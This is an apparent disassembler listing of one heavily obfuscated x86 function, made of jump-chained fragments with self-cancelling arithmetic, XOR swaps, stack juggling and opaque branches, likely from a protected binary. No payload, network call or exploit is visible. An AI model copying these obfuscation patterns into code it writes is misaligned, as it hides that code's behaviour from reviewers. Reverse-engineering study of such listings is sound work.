loc_59E07C:				; CODE XREF: sub_58A891+24A42j
		sub	ebp, 1C21ED4Dh
		sub	eax, ebp
		mov	ebp, [esp+0B6h+var_B6]
		add	esp, 4
		push	1640h
		mov	[esp+0B6h+var_B6], ecx
		push	43D23A02h
		pop	ecx
		push	edi
		mov	edi, esp
		jmp	loc_5AADB2
; ---------------------------------------------------------------------------


loc_59E0A0:				; CODE XREF: sub_58A891+282E5j
		mov	ecx, 1736433h
		sub	ecx, 4BA045B0h
		inc	ecx
		jmp	loc_5B03C0
; ---------------------------------------------------------------------------


loc_59E0B1:				; CODE XREF: sub_58A891+1F4B8j
		add	esp, 4
		push	ebx
		mov	ebx, 2
		sub	edi, ebx
		mov	ebx, [esp+0BAh+var_BA]
		add	esp, 4
		xchg	edi, [esp+0B6h+var_B6]
		mov	esp, [esp+0B6h+var_B6]
		mov	word ptr [esp+0B6h+var_B6], dx
		jmp	loc_5A88F6
; ---------------------------------------------------------------------------


loc_59E0D4:				; CODE XREF: sub_58A891+16E4Cj
		add	[esp+0B6h+var_B2], 5CD1622Bh
		add	[esp+0B6h+var_B2], 421870B8h
		jmp	loc_5B0214
; ---------------------------------------------------------------------------


loc_59E0E9:				; CODE XREF: sub_58A891+1DBE0j
		pop	edx
		xor	esi, ebp
		mov	ebp, [esp+0B2h+var_B2]
		add	esp, 4
		add	ebp, 7F7118E7h
		sub	ebp, esi
		sub	ebp, 7F7118E7h
		jmp	loc_59E614
; ---------------------------------------------------------------------------


loc_59E108:				; CODE XREF: sub_58A891+16E14j
					; sub_58A891+21417j
		mov	eax, ebp
		pop	ebp
		or	eax, 0CC10A3Dh
		jo	loc_5A17F8
		jmp	loc_5AC941
; ---------------------------------------------------------------------------


loc_59E11B:				; CODE XREF: sub_58A891+1B2E4j
		xor	ecx, 17AAB5E0h
		add	esi, ecx
		mov	ecx, [esp+0AAh+var_AA]
		jmp	loc_5A9DF8
; ---------------------------------------------------------------------------


loc_59E12B:				; CODE XREF: sub_58A891+130B8j
		add	eax, 3A867EA6h
		add	eax, 46E6057Bh
		push	ebp
		mov	ebp, 18EC6E97h
		add	ebp, 5AE108DCh
		add	ebp, 67D723E0h
		push	edx
		mov	edx, 2ECE1DCBh
		jmp	loc_5A64D8
; ---------------------------------------------------------------------------


loc_59E152:				; CODE XREF: sub_58A891+13341j
					; sub_58A891+1F66Bj
		push	[esp+32h+var_30+2]
		mov	ebp, [esp+36h+var_38+2]
		add	esp, 4
		pop	[esp+32h+var_34+2]
		jmp	loc_5A9A0D
; ---------------------------------------------------------------------------


loc_59E164:				; CODE XREF: sub_58A891+282BFj
		xor	ebp, 1600C6D9h
		sub	eax, 19577EEBh
		add	eax, ebp
		push	ebx
		jmp	loc_5A4485
; ---------------------------------------------------------------------------


loc_59E177:				; CODE XREF: sub_58A891+1C81Cj
		push	edx
		push	2FDDh
		push	esp
		pop	[esp+3Eh+var_40+2]
		add	[esp+3Ah+var_3C+2], 4
		pop	edx
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		jmp	loc_5A2C5B
; ---------------------------------------------------------------------------


loc_59E197:				; CODE XREF: sub_58A891+151D0j
		push	2DEEh
		mov	[esp+3Ah+var_3C+2], ecx
		mov	ecx, 19192086h
		jmp	loc_59EE0C
; ---------------------------------------------------------------------------


loc_59E1A9:				; CODE XREF: sub_58A891+23177j
		push	edi
		mov	edi, 5CF06E0h
		add	edi, 2D162EB4h
		shl	edi, 4
		sub	edi, 0AECA0225h
		jmp	loc_5AAF00
; ---------------------------------------------------------------------------


loc_59E1C3:				; CODE XREF: sub_58A891+228CDj
		add	eax, 6C436185h
		jnz	loc_5A38B9
		shl	eax, 2
		js	loc_5AA90D
		xor	eax, 3D0A5A11h
		pop	ebx


loc_59E1DD:				; CODE XREF: sub_58A891+1F70Bj
		push	ecx
		mov	ecx, 294F0687h
		jmp	loc_5B1EAC
; ---------------------------------------------------------------------------


loc_59E1E8:				; CODE XREF: sub_58A891+16595j
					; sub_58A891+22EDEj
		and	edx, 734C5349h
		push	ebx
		jmp	loc_5A95BC
; ---------------------------------------------------------------------------


loc_59E1F4:				; CODE XREF: sub_58A891+219B9j
		xor	al, bl
		jmp	loc_5A71DA
; ---------------------------------------------------------------------------


loc_59E1FB:				; CODE XREF: sub_58A891+22CA4j
		pop	ebp
		push	4171h
		mov	[esp+42h+var_44+2], ebp
		mov	ebp, 5984F2Ch
		and	edx, ebp
		pop	ebp
		jmp	loc_5A3F68
; ---------------------------------------------------------------------------


loc_59E211:				; CODE XREF: sub_58A891+25DE3j
		push	ecx
		mov	ecx, 693444A1h
		mov	ebp, ecx
		jmp	loc_5AE0B2
; ---------------------------------------------------------------------------


loc_59E21E:				; CODE XREF: sub_58A891+23DD4j
		pop	eax
		and	eax, ecx
		jmp	loc_5AF9BA
; ---------------------------------------------------------------------------


loc_59E226:				; CODE XREF: sub_58A891+23AA2j
		push	ebx
		mov	bh, dl
		mov	ch, bh
		jmp	loc_5A8DA3
; ---------------------------------------------------------------------------


loc_59E230:				; CODE XREF: sub_58A891+2854Dj
		xor	ecx, [esp+42h+var_44+2]
		jmp	loc_5AEFC1
; ---------------------------------------------------------------------------


loc_59E238:				; CODE XREF: sub_58A891+1A8F1j
		xchg	ecx, esi
		xchg	esi, ebx
		jmp	loc_5AC770
; ---------------------------------------------------------------------------


loc_59E241:				; CODE XREF: sub_58A891+22C2Fj
		xor	edx, [esp+42h+var_44+2]
		xor	[esp+42h+var_44+2], edx
		xor	edx, [esp+42h+var_44+2]
		pop	esp
		mov	[esp+3Eh+var_40+2], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		push	esi
		jmp	loc_5A2E05
; ---------------------------------------------------------------------------


loc_59E25E:				; CODE XREF: sub_58A891+1EBABj
		add	eax, 5FA3332Ah
		pop	esi
		jmp	loc_5A48DB
; ---------------------------------------------------------------------------


loc_59E269:				; CODE XREF: sub_58A891+17B88j
		add	ebx, 4
		xchg	ebx, [esp+46h+var_48+2]
		jmp	loc_5A45F1
; ---------------------------------------------------------------------------


loc_59E274:				; CODE XREF: sub_58A891+22ED3j
		push	[esp+46h+var_44+2]
		pop	ebx
		pop	[esp+46h+var_48+2]
		mov	esp, [esp+42h+var_44+2]
		jmp	loc_5AE222
; ---------------------------------------------------------------------------


loc_59E284:				; CODE XREF: sub_58A891+13A5Dj
					; sub_58A891+15869j
		push	eax
		jmp	loc_59C12A
; ---------------------------------------------------------------------------


loc_59E28A:				; CODE XREF: sub_58A891+23B1Dj
		pop	esp
		mov	[esp+42h+var_44+2], eax
		mov	eax, 4
		add	edi, 3A816663h
		add	edi, eax
		sub	edi, 3A816663h
		pop	eax
		xchg	edi, [esp+3Eh+var_40+2]
		pop	esp
		xor	ebp, 7CDD0DF1h
		mov	eax, ebp
		mov	ebp, [esp+3Ah+var_3C+2]
		jmp	loc_5B249E
; ---------------------------------------------------------------------------


loc_59E2B6:				; CODE XREF: sub_58A891+27BCCj
		pop	esp
		mov	[esp+36h+var_38+2], edi
		push	esp
		mov	edi, [esp+3Ah+var_3C+2]
		add	esp, 4
		add	edi, 4
		push	esi
		mov	esi, 351D247Dh
		shl	esi, 3
		and	esi, 6A146909h
		push	ecx
		push	edi
		jmp	loc_59FF3E
; ---------------------------------------------------------------------------


loc_59E2DD:				; CODE XREF: sub_58A891+192E8j
		mov	ebx, 11F33BA9h
		inc	ebx
		jmp	loc_5A1FB7
; ---------------------------------------------------------------------------


loc_59E2E8:				; CODE XREF: sub_58A891+25A28j
		push	eax
		mov	eax, 72A91A44h
		jmp	loc_59E284
; ---------------------------------------------------------------------------


loc_59E2F3:				; CODE XREF: sub_58A891+228D8j
					; sub_58A891+24A62j
		pop	ecx
		jmp	loc_59D0B3
; ---------------------------------------------------------------------------


loc_59E2F9:				; CODE XREF: sub_58A891+1F85Aj
		xor	eax, [esp+42h+var_44+2]
		xor	[esp+42h+var_44+2], eax
		jmp	loc_5A8857
; ---------------------------------------------------------------------------


loc_59E304:				; CODE XREF: sub_58A891+21443j
		inc	cl
		add	cl, 70h
		sub	al, cl
		pop	ecx
		and	bl, al
		pop	eax
		jmp	loc_5B2872
; ---------------------------------------------------------------------------


loc_59E314:				; CODE XREF: sub_58A891+21E83j
		pop	esi
		xor	esi, 1BAE1683h
		jmp	loc_5A022D
; ---------------------------------------------------------------------------


loc_59E320:				; CODE XREF: sub_58A891+117E7j
		sub	edi, 4
		xchg	edi, [esp+36h+var_38+2]
		pop	esp
		mov	[esp+32h+var_34+2], edx
		sub	esp, 4
		mov	[esp+36h+var_38+2], esp
		add	[esp+36h+var_38+2], 4
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_59D0CC
; ---------------------------------------------------------------------------


loc_59E34F:				; CODE XREF: sub_58A891+2581Bj
		add	esp, 4
		jmp	loc_5AF14F
; ---------------------------------------------------------------------------


loc_59E357:				; CODE XREF: sub_58A891+20063j
		pop	ebx
		push	ecx
		jmp	loc_59CC06
; ---------------------------------------------------------------------------


loc_59E35E:				; CODE XREF: sub_58A891+2216Ej
		push	eax
		push	387Fh
		mov	[esp+36h+var_38+2], ecx
		mov	cl, 3Ch
		mov	al, cl
		pop	ecx
		jmp	loc_5B29B1
; ---------------------------------------------------------------------------


loc_59E371:				; CODE XREF: sub_58A891+22282j
		sub	esi, 32173B3h
		jb	loc_5A56BA
		jmp	loc_5AF484
; ---------------------------------------------------------------------------


loc_59E382:				; CODE XREF: sub_58A891+1AD70j
					; sub_58A891+1F1BEj
		push	edi
		mov	edi, 0B847CBCh
		jmp	loc_5B1A6F
; ---------------------------------------------------------------------------


loc_59E38D:				; CODE XREF: sub_58A891+1E4EFj
		push	eax
		jmp	loc_5AAD9F
; ---------------------------------------------------------------------------


loc_59E393:				; CODE XREF: sub_58A891+1BD8Cj
		push	2DDFh
		jmp	loc_5AAEAA
; ---------------------------------------------------------------------------


loc_59E39D:				; CODE XREF: sub_58A891+14154j
		add	edx, ecx
		jmp	loc_5AFEA5
; ---------------------------------------------------------------------------


loc_59E3A4:				; CODE XREF: sub_58A891+1679Bj
		sub	esp, 4
		jmp	loc_5AC1CA
; ---------------------------------------------------------------------------


loc_59E3AC:				; CODE XREF: sub_58A891+1A39Aj
		dec	esi
		jmp	loc_5A4D7A
; ---------------------------------------------------------------------------


loc_59E3B2:				; CODE XREF: sub_58A891+273D4j
		mov	ecx, edx
		pop	edx
		pop	eax
		shl	ecx, 4
		and	ecx, 0F466294h
		jg	loc_5AFD68
		and	ecx, 8420895h
		jbe	loc_5B2A31


loc_59E3D1:				; CODE XREF: sub_58A891+268EAj
		add	edi, 4
		jmp	loc_5AC6CE
; ---------------------------------------------------------------------------


loc_59E3DC:				; CODE XREF: sub_58A891+1CF43j
		pop	esi
		jmp	loc_5A7851
; ---------------------------------------------------------------------------


loc_59E3E2:				; CODE XREF: sub_58A891+1E514j
		push	eax
		push	edx
		sub	esp, 4
		mov	[esp+42h+var_44+2], eax
		mov	ah, ch
		jmp	loc_5AD7B7
; ---------------------------------------------------------------------------


loc_59E3F4:				; CODE XREF: sub_58A891+134F2j
		push	esi
		mov	esi, 2F7E1561h
		dec	esi
		jmp	loc_5A2DD0
; ---------------------------------------------------------------------------


loc_59E400:				; CODE XREF: sub_58A891+1269Cj
					; sub_58A891+273B5j
		mov	dx, word ptr [esp+0A2h+var_A2]
		push	4903h
		mov	[esp+0A6h+var_A6], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59E483
; ---------------------------------------------------------------------------


loc_59E419:				; CODE XREF: sub_58A891+20211j
		sub	ecx, 64FC0D45h
		pop	ebx
		jmp	loc_5A05BE
; ---------------------------------------------------------------------------


loc_59E425:				; CODE XREF: sub_58A891+1E271j
		mov	ebx, [esp+0A2h+var_A2]
		jmp	loc_5B204C
; ---------------------------------------------------------------------------


loc_59E42D:				; CODE XREF: sub_58A891+15EC7j
		mov	ecx, 4
		add	[esp+0A2h+var_9E], ecx
		pop	ecx
		pop	ebp
		push	edi
		mov	edi, 0AF81A28h
		push	ebx
		mov	ebx, 27AD022Fh
		jmp	loc_5B1932
; ---------------------------------------------------------------------------


loc_59E449:				; CODE XREF: sub_58A891+204FBj
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5B2CA7
; ---------------------------------------------------------------------------


loc_59E465:				; CODE XREF: sub_58A891+16CCAj
		push	esi
		mov	esi, 282C0D00h
		shl	esi, 1
		and	esi, 25AA5440h
		add	esi, 28AF420Ch
		jmp	loc_5AA669
; ---------------------------------------------------------------------------


loc_59E47E:				; CODE XREF: sub_58A891:loc_59F6C1j
		jmp	loc_59F778
; ---------------------------------------------------------------------------


loc_59E483:				; CODE XREF: sub_58A891+13B83j
		push	edi
		mov	edi, 2
		push	2FC5h
		mov	[esp+0AEh+var_AE], edi
		push	edx
		mov	edx, 2A5A5F5Dh
		xor	edx, 258698Bh
		neg	edx
		neg	edx
		xor	edx, esi
		xor	esi, edx
		xor	edx, esi
		jmp	loc_5A932F
; ---------------------------------------------------------------------------


loc_59E4AC:				; CODE XREF: sub_58A891+13412j
					; sub_58A891+1EF16j
		add	esp, 4
		and	edi, 1DEC0B55h
		neg	edi
		add	edi, 21B85E81h
		add	ecx, edi
		pop	edi
		jmp	loc_5A1B70
; ---------------------------------------------------------------------------


loc_59E4C5:				; CODE XREF: sub_58A891+1A5FDj
		sub	ebx, 7DE8298Dh
		jmp	loc_59FBFF
; ---------------------------------------------------------------------------


loc_59E4D0:				; CODE XREF: sub_58A891+239EDj
		xor	ebp, [esp+2Eh+var_30+2]
		xor	[esp+2Eh+var_30+2], ebp
		xor	ebp, [esp+2Eh+var_30+2]
		mov	esp, [esp+2Eh+var_30+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		push	esi
		jmp	loc_5A780C
; ---------------------------------------------------------------------------


loc_59E4EC:				; CODE XREF: sub_58A891+1C9A4j
		pop	eax
		add	ebx, ebp
		pop	ebp
		add	ebx, 2
		push	5769h
		mov	[esp+36h+var_38+2], ebx
		push	[esp+36h+var_34+2]
		jmp	loc_5AC9C4
; ---------------------------------------------------------------------------


loc_59E507:				; CODE XREF: sub_58A891+281A2j
		push	[esp+3Ah+var_3C+2]
		jmp	loc_5A0C0B
; ---------------------------------------------------------------------------


loc_59E50F:				; CODE XREF: sub_58A891+2671Aj
					; sub_58A891+28052j
		push	[esp+3Eh+var_40+2]
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5ADF36
; ---------------------------------------------------------------------------


loc_59E521:				; CODE XREF: sub_58A891+16B2Cj
		add	ebx, eax
		sub	ebx, 6D2C2ED9h
		jmp	loc_5A2F7F
; ---------------------------------------------------------------------------


loc_59E52E:				; CODE XREF: sub_58A891+1B44Ej
		mov	fs:[edx], ax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59E537:				; CODE XREF: sub_58A891+201A5j
		push	edx
		jmp	loc_5A5CEE
; ---------------------------------------------------------------------------


loc_59E53D:				; CODE XREF: sub_58A891+1DC04j
		mov	[esp+46h+var_48+2], ebx
		push	edi
		push	3BED2180h
		jmp	loc_5A39B9
; ---------------------------------------------------------------------------


loc_59E54B:				; CODE XREF: sub_58A891+1D8A4j
		add	esi, 4
		sub	esi, 4
		jmp	loc_5ADFEB
; ---------------------------------------------------------------------------


loc_59E55C:				; CODE XREF: sub_58A891+195F5j
		mov	[esp+4Eh+var_50+2], ebx
		mov	ebx, 4
		sub	[esp+4Eh+var_4C+2], 4E6F5B76h
		add	[esp+4Eh+var_4C+2], 15C67A93h
		add	[esp+4Eh+var_4C+2], 23E44674h
		add	[esp+4Eh+var_4C+2], ebx
		sub	[esp+4Eh+var_4C+2], 23E44674h
		sub	[esp+4Eh+var_4C+2], 15C67A93h
		push	ebp
		jmp	loc_5AAB9B
; ---------------------------------------------------------------------------


loc_59E596:				; CODE XREF: sub_58A891+15E7Dj
		mov	dx, word ptr [esp+52h+var_54+2]
		push	esi
		sub	esp, 4
		mov	[esp+5Ah+var_5C+2], esp
		push	ebp
		mov	ebp, 4
		add	[esp+5Eh+var_5C+2], 35B2461Fh
		jmp	loc_5A2D6C
; ---------------------------------------------------------------------------


loc_59E5B7:				; CODE XREF: sub_58A891+208C7j
		xchg	ebp, ebx
		not	ebp
		jmp	loc_5A17DB
; ---------------------------------------------------------------------------


loc_59E5C0:				; CODE XREF: sub_58A891+214FBj
		sub	edx, eax
		pop	eax
		and	edx, 781C3440h
		not	edx
		not	edx
		push	ebp
		jmp	loc_59F6AB
; ---------------------------------------------------------------------------


loc_59E5D3:				; CODE XREF: sub_58A891+21FF5j
		push	ecx
		mov	ch, 4Bh
		dec	ch
		jmp	loc_5A6DB4
; ---------------------------------------------------------------------------


loc_59E5DD:				; CODE XREF: sub_58A891+1D4B3j
		dec	ebx
		push	ebp
		mov	ebp, 29D92485h
		add	ebx, 327D2F07h
		sub	ebx, ebp
		jmp	loc_5B1B8F
; ---------------------------------------------------------------------------


loc_59E5F1:				; CODE XREF: sub_58A891+1265Cj
		add	esp, 4
		neg	eax
		inc	eax
		jmp	loc_5AA022
; ---------------------------------------------------------------------------


loc_59E5FC:				; CODE XREF: sub_58A891+251E4j
		push	260Dh
		mov	[esp+0AAh+var_AA], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5A1399
; ---------------------------------------------------------------------------


loc_59E614:				; CODE XREF: sub_58A891+13872j
		push	[esp+0AEh+var_AE]
		mov	esi, [esp+0B2h+var_B2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A2B9F
; ---------------------------------------------------------------------------


loc_59E62B:				; CODE XREF: sub_58A891+24E3Fj
		pop	esp
		pop	[esp+0B2h+var_B2]
		mov	esp, [esp+0AEh+var_AE]
		shl	[esp+0AEh+var_AE], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59E63B:				; CODE XREF: sub_58A891+1F3EEj
		pop	edi
		jmp	loc_5A7518
; ---------------------------------------------------------------------------


loc_59E641:				; CODE XREF: sub_58A891+17877j
					; sub_58A891+1F4D4j
		inc	ebp
		xor	ebp, 7E350CD8h
		sub	ebp, 0E2BFD86Fh
		add	edx, 240579D6h
		sub	edx, ebp
		sub	edx, 240579D6h
		pop	ebp
		xor	eax, edx
		push	[esp+0AAh+var_AA]
		pop	edx
		push	edi
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 6EC562D1h
		and	ecx, 39F77C09h
		jo	loc_5AEDC7
		sub	ecx, 5B2A260Bh
		ja	loc_5A270D
		or	ecx, 4F443569h
		jmp	loc_5A2857
; ---------------------------------------------------------------------------


loc_59E68F:				; CODE XREF: sub_58A891+20676j
		not	esi
		xchg	esi, [esp+0B2h+var_B2]
		jmp	loc_5AB2BD
; ---------------------------------------------------------------------------


loc_59E699:				; CODE XREF: sub_58A891:loc_5A13A7j
		add	ebx, 0DEAEA23Dh
		push	edi
		mov	edi, 1D359C7h
		shr	edi, 3
		push	edx
		jmp	loc_5B2960
; ---------------------------------------------------------------------------


loc_59E6AE:				; CODE XREF: sub_58A891+12F28j
		pop	[esp+0A8h+var_AA+2]
		mov	esp, [esp+0A4h+var_A6+2]
		mov	ax, word ptr [esp+0A4h+var_A6+2]
		jmp	loc_5A53B8
; ---------------------------------------------------------------------------


loc_59E6BD:				; CODE XREF: sub_58A891+140F6j
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A24C4
; ---------------------------------------------------------------------------


loc_59E6CA:				; CODE XREF: sub_58A891+24BE1j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0A4h+var_A6+2]
		jmp	loc_5B0DB9
; ---------------------------------------------------------------------------


loc_59E6DD:				; CODE XREF: sub_58A891+27BF3j
		add	esp, 4
		xchg	ebp, [esp+0A0h+var_A2+2]
		mov	esp, [esp+0A0h+var_A2+2]
		jmp	loc_5A3799
; ---------------------------------------------------------------------------


loc_59E6EB:				; CODE XREF: sub_58A891+1ED75j
		jg	loc_5B1392
		sub	esi, 969946Fh
		add	esi, 5B581639h
		mov	ebp, ebx
		push	eax


loc_59E700:				; CODE XREF: sub_58A891+217BAj
		jmp	loc_5A83BE
; ---------------------------------------------------------------------------


loc_59E705:				; CODE XREF: sub_58A891+14D68j
		pop	edx
		or	ebx, eax
		pop	eax
		jmp	loc_5B2E02
; ---------------------------------------------------------------------------


loc_59E70E:				; CODE XREF: sub_58A891+23EA0j
		shl	eax, 6
		jmp	loc_59CAB0
; ---------------------------------------------------------------------------


loc_59E716:				; CODE XREF: sub_58A891+1658Fj
		jmp	loc_5AF399
; ---------------------------------------------------------------------------


loc_59E71B:				; CODE XREF: sub_58A891+1524Fj
		jz	loc_5A012D
		jmp	loc_5A6C86
; ---------------------------------------------------------------------------


loc_59E726:				; CODE XREF: sub_58A891+167F5j
		push	ebx
		mov	ebx, 2DDC09ABh
		add	ecx, ebx
		jmp	loc_59E8A3
; ---------------------------------------------------------------------------


loc_59E733:				; CODE XREF: sub_58A891+24BA2j
		mov	ebx, 472B4A56h
		jmp	loc_5A2540
; ---------------------------------------------------------------------------


loc_59E73D:				; CODE XREF: sub_58A891+1A9A8j
		push	6CF82A3Fh
		pop	ebp
		or	esi, ebp
		pop	ebp
		add	esi, 58CA832Eh
		push	ebp
		mov	ebp, 263E7DBAh
		sub	esi, ebp
		jmp	loc_5A26A3
; ---------------------------------------------------------------------------


loc_59E759:				; CODE XREF: sub_58A891+20D2Aj
		mov	ebp, esp
		push	edi
		mov	edi, 1F6D7D8Eh
		push	ecx
		jmp	loc_59CF7F
; ---------------------------------------------------------------------------


loc_59E767:				; CODE XREF: sub_58A891+1C295j
		add	eax, 18397DECh
		mov	ebp, [esp+0A8h+var_AA+2]
		add	esp, 4
		add	eax, 4
		xor	eax, [esp+0A4h+var_A6+2]
		xor	[esp+0A4h+var_A6+2], eax
		xor	eax, [esp+0A4h+var_A6+2]
		mov	esp, [esp+0A4h+var_A6+2]
		mov	eax, [esp+0A4h+var_A6+2]
		push	edi
		mov	edi, esp
		jmp	loc_5ABA4A
; ---------------------------------------------------------------------------


loc_59E78C:				; CODE XREF: sub_58A891+21844j
		xchg	ecx, [esp+0A8h+var_AA+2]
		jmp	loc_5AC3C9
; ---------------------------------------------------------------------------


loc_59E794:				; CODE XREF: sub_58A891+1A70Ej
		sub	esi, 64E90EF0h
		jmp	loc_5B12E0
; ---------------------------------------------------------------------------


loc_59E79F:				; CODE XREF: sub_58A891+1EFCBj
		mov	bl, 83h
		sub	al, bl
		jmp	loc_5B02BE
; ---------------------------------------------------------------------------


loc_59E7A8:				; CODE XREF: sub_58A891+1232Fj
					; sub_58A891+21202j
		mov	al, 25h
		jmp	loc_5A2C36
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0AEh+var_AE]
		jmp	loc_5B152C
; ---------------------------------------------------------------------------


loc_59E7B8:				; CODE XREF: sub_58A891+24C62j
		push	2DDFh
		jmp	loc_5AD212
; ---------------------------------------------------------------------------


loc_59E7C2:				; CODE XREF: sub_58A891+16805j
		add	esi, 4
		jmp	loc_5A6C9C
; ---------------------------------------------------------------------------


loc_59E7CD:				; CODE XREF: sub_58A891+1A77Dj
		inc	ecx
		jge	loc_5A928C
		jmp	loc_5A48C4
; ---------------------------------------------------------------------------
		xchg	edi, [esp+0B2h+var_B2]
		pop	esp
		push	esi
		pop	ebp


loc_59E7DF:				; CODE XREF: sub_58A891+2819Bj
		mov	ecx, 71DB3074h
		shl	ecx, 8
		xor	ecx, 6F62162Fh
		add	ecx, 2DD72B72h
		xor	ebx, ecx
		jmp	loc_5A7600
; ---------------------------------------------------------------------------


loc_59E7FA:				; CODE XREF: sub_58A891+18A62j
		mov	bh, 7
		neg	bh
		jmp	loc_5AA897
; ---------------------------------------------------------------------------


loc_59E803:				; CODE XREF: sub_58A891+1B6BFj
		xor	edi, [esp+0AEh+var_AE]
		pop	esp
		mov	bl, dh
		push	[esp+0AAh+var_AA]
		mov	edx, [esp+0AEh+var_AE]
		jmp	loc_5A7C09
; ---------------------------------------------------------------------------


loc_59E814:				; CODE XREF: sub_58A891+16DFEj
		mov	edi, [esp+0AEh+var_AE]
		add	esp, 4
		push	ebp
		jmp	loc_5A0565
; ---------------------------------------------------------------------------


loc_59E823:				; CODE XREF: sub_58A891+27DC8j
		push	esi
		jmp	loc_59D40C
; ---------------------------------------------------------------------------


loc_59E829:				; CODE XREF: sub_58A891+20349j
		sub	ecx, 735409D0h
		add	ecx, esi
		add	ecx, 735409D0h
		pop	esi
		push	ebx
		mov	ebx, 4
		jmp	loc_59FD1B
; ---------------------------------------------------------------------------


loc_59E843:				; CODE XREF: sub_58A891+1DC1Fj
		add	ebx, 1
		push	ebp
		push	0D9EF4E7h
		pop	ebp
		jmp	loc_5A49A3
; ---------------------------------------------------------------------------


loc_59E855:				; CODE XREF: sub_58A891+1C96Aj
		xor	esi, [esp+0B6h+var_B6]
		xor	[esp+0B6h+var_B6], esi
		xor	esi, [esp+0B6h+var_B6]
		pop	esp
		add	ebx, eax
		pop	eax
		add	ebx, 79C71B42h
		add	ebx, eax
		sub	ebx, 79C71B42h
		push	3ACFh
		mov	[esp+0B2h+var_B2], ebp
		mov	ebp, 64E97715h
		sub	ebx, 21700494h
		add	ebx, 15E01D0Eh
		jmp	loc_5A747E
; ---------------------------------------------------------------------------


loc_59E88E:				; CODE XREF: sub_58A891+15FEDj
		sub	esp, 2
		mov	word ptr [esp+0B6h+var_B6], bx
		mov	bl, 88h
		sub	al, 4Fh
		sub	al, bl
		jmp	loc_5AEDF9
; ---------------------------------------------------------------------------


loc_59E8A3:				; CODE XREF: sub_58A891+13E9Dj
		pop	ebx
		jmp	loc_5A3895
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+9Ch+var_9E+2]
		push	692Ah
		mov	[esp+0A0h+var_A2+2], ebp
		push	0F5Eh
		mov	[esp+0A4h+var_A6+2], esp
		add	[esp+0A4h+var_A6+2], 4
		jmp	loc_5ACA4C
; ---------------------------------------------------------------------------


loc_59E8C6:				; CODE XREF: sub_58A891+1A9BFj
		push	edx
		push	ebx
		jmp	loc_5A54D9
; ---------------------------------------------------------------------------


loc_59E8CD:				; CODE XREF: sub_58A891+19E21j
		mov	di, word ptr [esp+0ACh+var_AE+2]
		push	esi
		jmp	loc_5A1318
; ---------------------------------------------------------------------------


loc_59E8D7:				; CODE XREF: sub_58A891+20877j
		mov	[esp+0B0h+var_B2+2], edi
		push	esp
		pop	edi
		jmp	loc_5B085B
; ---------------------------------------------------------------------------


loc_59E8E1:				; CODE XREF: sub_58A891+1F943j
					; sub_58A891+21393j
		mov	esi, [esp+0B0h+var_B2+2]
		add	esp, 4
		jmp	loc_5B2925
; ---------------------------------------------------------------------------


loc_59E8EF:				; CODE XREF: sub_58A891+18AA0j
		xchg	ebx, edx
		jmp	loc_5AF2AF
; ---------------------------------------------------------------------------


loc_59E8F6:				; CODE XREF: sub_58A891+27226j
		movzx	cx, al
		jmp	loc_5AC21C
; ---------------------------------------------------------------------------


loc_59E8FF:				; CODE XREF: sub_58A891+1CAA9j
		mov	[esp+0ACh+var_AE+2], esp
		add	[esp+0ACh+var_AE+2], 4
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_59D103
; ---------------------------------------------------------------------------


loc_59E91C:				; CODE XREF: sub_58A891+1729Ej
		pop	[esp+0ACh+var_AE+2]
		jmp	loc_5A4B68
; ---------------------------------------------------------------------------


loc_59E924:				; CODE XREF: sub_58A891+258EAj
		sub	ecx, 7F104DE1h
		pop	edi
		jmp	loc_5A33CF
; ---------------------------------------------------------------------------


loc_59E930:				; CODE XREF: sub_58A891+11CB0j
		mov	[esp+42h+var_44+2], ebp
		mov	ebp, 16F62D1Fh
		jmp	loc_59F794
; ---------------------------------------------------------------------------


loc_59E93D:				; CODE XREF: sub_58A891+1A804j
		mov	ecx, 3B250FDAh
		jmp	loc_5A78AA
; ---------------------------------------------------------------------------


loc_59E947:				; CODE XREF: sub_58A891+133B2j
		add	esi, ebx
		pop	ebx
		push	esi
		push	[esp+2Eh+var_2C+2]
		pop	esi
		pop	[esp+2Eh+var_30+2]
		mov	esp, [esp+2Ah+var_2C+2]
		mov	cx, word ptr [esp+2Ah+var_2C+2]
		push	70Fh
		mov	[esp+2Eh+var_30+2], esi
		jmp	loc_5A70C8
; ---------------------------------------------------------------------------


loc_59E967:				; CODE XREF: sub_58A891+1D1E7j
		sub	edi, 7E57198h
		jmp	loc_59F5D3
; ---------------------------------------------------------------------------


loc_59E972:				; CODE XREF: sub_58A891+125E8j
		add	ebp, 690E457Bh
		add	ebp, ecx
		push	esi
		mov	esi, 690E457Bh
		sub	ebp, esi
		pop	esi
		mov	ecx, [esp+98h+var_98]
		push	edi
		jmp	loc_59E6BD
; ---------------------------------------------------------------------------


loc_59E98C:				; CODE XREF: sub_58A891+19EBCj
		push	esp
		pop	ebx
		push	ebp
		mov	ebp, 2E905B0Ah
		sub	ebp, 7BA57D2Dh
		dec	ebp
		jmp	loc_5B11B5
; ---------------------------------------------------------------------------


loc_59E9A0:				; CODE XREF: sub_58A891+1A753j
		sub	esp, 4
		mov	[esp+0A4h+var_A6+2], esi
		push	edi
		mov	edi, 5D755D12h
		add	edi, 40CD2298h
		jmp	loc_5A0D4D
; ---------------------------------------------------------------------------


loc_59E9B7:				; CODE XREF: sub_58A891+12EFCj
		shr	ecx, 5
		jnp	loc_5A9B9B
		sub	ecx, 13B782Bh
		mov	eax, ecx
		jmp	loc_5AC52E
; ---------------------------------------------------------------------------


